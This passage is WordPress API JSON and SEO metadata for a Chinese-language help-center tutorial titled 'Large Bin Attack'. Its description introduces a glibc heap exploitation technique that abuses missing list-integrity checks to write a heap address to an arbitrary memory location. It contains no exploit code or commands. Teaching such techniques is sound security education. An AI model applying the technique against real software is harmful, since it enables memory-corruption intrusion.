\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-22T23:33:02+00:00\",\"dateModified\":\"2026-09-22T23:33:02+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/109021.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/109021.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/109021.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Large Bin Attack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Large Bin Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/109021.html","og_locale":"zh_CN","og_type":"article","og_title":"Large Bin Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u5b66\u4e60 Large Bin Attack，\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\u4e0d\u8981\u88ab\u5b83\u7684\u540d\u5b57\u5413\u5012\u3002\u867d\u7136\u5b83\u5c5e\u4e8e\u9ad8\u7ea7\u7684\u5806\u5229\u7528\u6280\u5de7，\u4f46\u5b83\u7684\u672c\u8d28\u5176\u5b9e\u975e\u5e38\u7b80\u5355：\u5229\u7528 glibc \u5728\u7ef4\u62a4\u201c\u6709\u5e8f\u53cc\u5411\u94fe\u8868\u201d\u65f6，\u7f3a\u4e4f\u8db3\u591f\u7684\u5b89\u5168\u68c0\u67e5，\u4ece\u800c\u8ba9\u6211\u4eec\u80fd\u5728\u4e00\u4e2a\u4efb\u610f\u7684\u5185\u5b58\u5730\u5740\u91cc，\u5199\u5165\u4e00\u4e2a\u5806\u5730\u5740\u3002\u6211\u4eec\u5148\u629b\u5f00\u590d\u6742\u7684\u4ee3\u7801，\u4ece Large Bin \u8fd9\u4e2a\u201c\u4ed3\u5e93\u201d\u7684\u7279\u6b8a\u7ed3\u6784\u8bf4\u8d77\u3002\u7b2c\u4e00\u6b65：\u7406\u89e3 Large Bin \u7684\u7279\u6b8a\u7ed3\u6784\u5728\u4f60\u4e4b\u524d","og_url":"https:\/\/www.wsisp.com\/helps\/109021.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-22T23:33:02+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/109021.html","url":"https:\/\/www.wsisp.com\/helps\/109021.html","name":"Large Bin Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-22T23:33:02+00:00","dateModified":"2026-09-22T23:33:02+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/109021.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/109021.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/109021.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Large Bin Attack"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/109021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=109021"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/109021\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=109021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=109021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=109021"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=109021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}